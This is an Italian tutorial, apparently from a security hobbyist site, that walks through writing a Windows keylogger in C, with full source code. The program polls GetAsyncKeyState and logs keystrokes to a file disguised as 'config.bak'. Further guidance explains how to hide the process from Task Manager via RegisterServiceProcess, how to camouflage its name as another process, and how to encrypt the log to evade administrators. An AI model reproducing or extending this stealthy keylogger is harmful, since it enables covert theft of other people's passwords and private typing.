Home -
Security -
Utility -
Notepad -
Contact us
INDICE:PrerequisitiIntroduzione Input da tastiera Api di Windows Il programma |
PROGRAMMI:keylogger.ckeylogger_win.c (versione per Windows ottimizzata da Crossbower) |
1 Conoscenza di base del linguaggio C
2 Conoscenza di base della
programmazione con le API di Windows, se non sapete cosa sia consultate questo sito:
http://www.aleax.it gli articoli
riguardanti la programmazione Win32 in C)
La tastiera è lo strumento
più diffuso per comunicare con il computer, tramite essa scriviamo i nostri
documenti importanti, le nostre lettere personali e inseriamo le nostre password.
Partendo da questo presupposto sono stati inventati i keylogger, ossia strumenti in grado di controllare
tutto ciò che una persona digita sulla propria tastiera. Esistono tantissimi tipi di
keylogger, sia hardware (che vengono collegati al cavo di comunicazione tra la
tastiera ed il computer), sia software (programmi che controllano e salvano ogni
tasto che viene digitato da un utente). I keylogger hardware sono molto
potenti in quanto la loro installazione è molto semplice e il computer non si
accorge della loro presenza, hanno però il limite di essere fisicamente
attaccati alla macchina e quindi visibili da chiunque. I keylogger software sono
invece semplici programmi che stanno in esecuzione captando ogni tasto che viene
digitato, essi sono facilmente scovabili da persone esperte (amministratori di
sistema) e quindi c'è bisogno di renderli il più nascosti possibile agli
"attenti" occhi di queste persone.
Ora che sappiamo cosa sono i
keylogger è giunto il momento di implementare il nostro.
La tastiera è una periferica di Input, ossia manda delle informazioni al computer (i tasti che digitiamo), il quale le gestirà nella maniera più opportuna. Esistono tre differenti modi per gestire l'input dalla tastiera, e si differenziano per il coinvolgimento che la CPU ha durante lo scambio di informazioni con la periferica:
1 Input
programmato
2 Input ad interrupt
3 Input
tramite DMA
L'input programmato viene gestito direttamente dal programma, ossia il programma continua
a chiedere alla periferica se qualcuno ha digitato qualche tasto, questo è il metodo più
elementare di gestione dell'input, ed è anche il "peggiore" in quanto
tiene occupata la CPU, la quale deve continuamente chiedere alla periferica se è
pronta.
L'input ad interrupt invece si basa sul concetto di interrupt, ossia un segnale che arriva alla CPU; questo
segnale costringe la CPU ad interrompere (da qui interrupt) il programma che
stava eseguendo per gestire il segnale che ha ricevuto. Quindi la tastiera
tramite questo segnale può far sapere alla CPU che qualcuno ha premuto un
tasto. Questo metodo di gestione dell'input è migliore di quello precedente in
quanto la CPU non deve continuamente chiedere alla tastiera se qualcuno ha
premuto un tasto, ma invece sarà la periferica a segnalarglielo.
L'ultimo metodo di input è il
DMA ossia Direct Memory Acces (accesso diretto alla memoria). La tastiera ha un
proprio "controller", ossia un meccanismo che autonomamente alla CPU
gestisce l'input dei tasti digitati. Questo metodo è il migliore, in quanto la
CPU, una volta date indicazioni al "controller" della tastiera può
passare all'esecuzione di altri programmi, sicuro che non verrà interrotto fino
a che il controller non avrà finito di gestire l'input.
Per poter salvare i tasti
digitati da qualcuno si potrebbe utilizzare uno qualsiasi dei tre metodi
descritti, però io vi parlerò del primo metodo, in quanto i moderni sistemi
operativi (Windows) non permettono alle applicazioni di gestire direttamente gli
interrupt o il DMA, ma per poterli utilizzare si doverbbe creare un driver (come
quelli delle schede video, audio ecc..) che salva una copia di ogni tasto
digitato in un file. (E comunque anche creando questo driver, esso andrebbe inserito tra i programmi
da avviare insieme al sistema operativo, operazione che nei sistemi operativi
multiutente come Windows XP o Windows 2000 è permessa solo all'amministratore
del computer)
Dovendo quindi ricorrere alla gestione dell'input programmato il problema ora è
sapere come si fa a chiedere alla tastiera se qualcuno ha digitato un tasto. Qui ci vengono in aiuto le Api
di Windows, dei piccoli programmi (funzioni) che una volta chiamati eseguono
delle operazioni e ritornano dei risultati.
La Api di cui abbiamo bisogno
è GetAsyncKeyState(int vKey).
Questa funzione ha come parametro di ingresso
(spero sappiate cosa sia) un intero che rappresenta il virtual-keycode (codice virtuale) del tasto digitato.
Ecco qui una parte della tabella di vKey, che comunque è presente nel file header "win.h"
presente tra le librerie del vostro compilatore C.
| Tabella | Codice | Numero corrispondente |
| 0 | VK_0 | 48 |
| 1 | VK_1 | 49 |
| 2 | VK_2 | 50 |
| 3 | VK_3 | 51 |
| 4 | VK_4 | 52 |
| 5 | VK_5 | 53 |
| 6 | VK_6 | 54 |
| 7 | VK_7 | 55 |
| 8 | VK_8 | 56 |
| 9 | VK_9 | 57 |
| A | VK_A | 65 |
| B | VK_B | 66 |
| C | VK_C | 67 |
| D | VK_D | 68 |
| E | VK_E | 69 |
| F | VK_F | 70 |
| G | VK_G | 71 |
| H | VK_H | 72 |
| I | VK_I | 73 |
| J | VK_J | 74 |
| K | VK_K | 75 |
| L | VK_L | 76 |
| M | VK_M | 77 |
Ad esempio al numero 65 corrisponde la vKey del tasto
"A". Una volta passato come ingresso questo valore il
programma controlla se il tasto "A" è premuto oppure no, e inoltre
controlla se il tasto è stato premuto precedentemente alla chiamata della Api.
Esiste infatti un' altra Api: GetKeyState(int vKey) che controlla se un tasto è premuto o no in un preciso istante,
però quest'ultima non controlla se è stato premuto in precedenza. è quindi preferibile utilizzare
GetAsyncKeyState(int vKey). Come valore di ritorno la funzione ritorna una
variabile di tipo short, con il bit più significativo settato a 1 se il tasto
è premuto, oppure con il bit meno significativo settato a 1 se il tasto è
stato premuto in precedenza alla chiamata GetAsyncKeyState(int vKey).
Ora che siamo venuti a conoscenza di questa Api creare il programma è davvero facile,
infatti basterà per ogni tasto chiedere la sua condizione (premuto o no) e così sapremo in ogni istante
cosa stia digitando qualcuno.
Ecco ora il sorgente del programma keylogger (se volete una descrizione più dettagliata scaricate il sorgente che ho linkato all'inzio):
#define STRICT
#define WIN32_LEAN_AND_MEAN
#define LOGFILE "config.bak"
#include <windows.h>
#include <stdio.h>
Queste righe iniziali servono per includere tutte le librerie necessarie al programma,
e per definire delle costanti che verranno utilizzate dal compilatore, queste costanti sono
utilizzate in quanto il programma che andiamo a creare dovrà essere una applicazione windows e non una
semplice finestra di console.
La #define LOGFILE indica in quale file il nostro
programma andrà a salvare i tasti che riceve, in questo caso si chiama
config.bak, ma potete cambiarlo in ciò che volete.
int WINAPI
WinMain(HINSTANCE hInst, HINSTANCE hPrevInst,
LPSTR lpCmdLine, int nCmdShow)
Vi ricordo che stiamo creando una applicazione windows e non una semplice applicazione di console e quindi non si usa il main, ma il WinMain
{
int vKey[]={8,13,16,0};
int i;
FILE *fp;
HMODULE hKERNEL32
FARPROC a_Register;
Queste sono le variabili di cui avremo bisogno nel programma, vKey è un array di interi in cui metteremo i codici virtuali di alcuni tasti.
if ( (hKERNEL32 = GetModuleHandle("KERNEL32.DLL")) != NULL)
if( ( a_Register = GetProcAddress(hKERNEL32,"RegisterServiceProcess")) != NULL)
a_Register( GetCurrentProcessId(), 1);
Queste istruzioni verranno eseguite solamente se il
nostro keylogger funziona con i sistemi operativi Windows 95, Windows 98,
Windows ME, infatti in questi sistemi operativi possiamo, tramite queste
semplici righe di codice, nascondere il nostro programma al Task Manager (ossia
quando digitiamo Ctrl+Alt+Canc). Provate per credere!!
Nei sistemi operativi Windows 2000 e Windows XP ciò
non è possibile e nel Task Manager comparirà questo programma, quindi dovremo trovare un nome
molto simile a quello di qualche altro processo per camuffare il nostro
programma.
while(1){
for (i=VK_SPACE;i<=VK_Z;i++){
if (GetAsyncKeyState(i)){
fp=fopen(LOGFILE,"a");
fprintf (fp,"%c",i);
fclose (fp);
}
}
Questo primo ciclo for controlla se sono stati premuti i tasti che vanno dallo SPAZIO fino alla lettera Z; i vKey di questi tasti sono tutti consecutivi e sono uguali al codice ASCII, quindi si può scrivere sul nostro LOGFILE direttamente il vKey del tasto, che corrisponde al carattere.
for (i=0;vKey[i]!=0;i++){
if (GetAsyncKeyState(vKey[i])){
fp=fopen(LOGFILE,"a");
fprintf (fp,"%c",vKey[i]);
Sleep(100);
fclose (fp);
}
}
Ho inserito questo altro ciclo for per controllare altri tasti importanti che sono salvati nell'array vKey:
| VK_BACK | 8 | tasto BACKSPACE |
| VK_RETURN | 13 | tasto INVIO |
| VK_SHIFT | 16 | tasto SHIFT |
Sleep(150);
Questa istruzione serve per attendere 150 millisecondi, permettendo così al tasto premuto di essere rilasciato e per "dare respiro" alla CPU.
}
return 0;
}
Il programma è ora ultimato.
Vi ricordo che questa è soltanto una semplice
implementazione del programma, fatta a scopo didattico, voi potete migliorarlo
in molti modi: aggiungendo più tasti da controllare (ad esempio quelli della
tastiera numerica), oppure migliorare la gestione del valore di ritorno della
GetAsyncKeyState() (vi ricordate che differenziava i tasti appena premuti e
quelli premuti in precedenza?), oppure potete anche criptare il LOGFILE (il file
dove salvate ciò che gli utenti digitano) per rendere ancora più invisibile la
presenza del keylogger; tutto sta alla vostra immaginazione.
written by Komrade
http://unsecure.altervista.org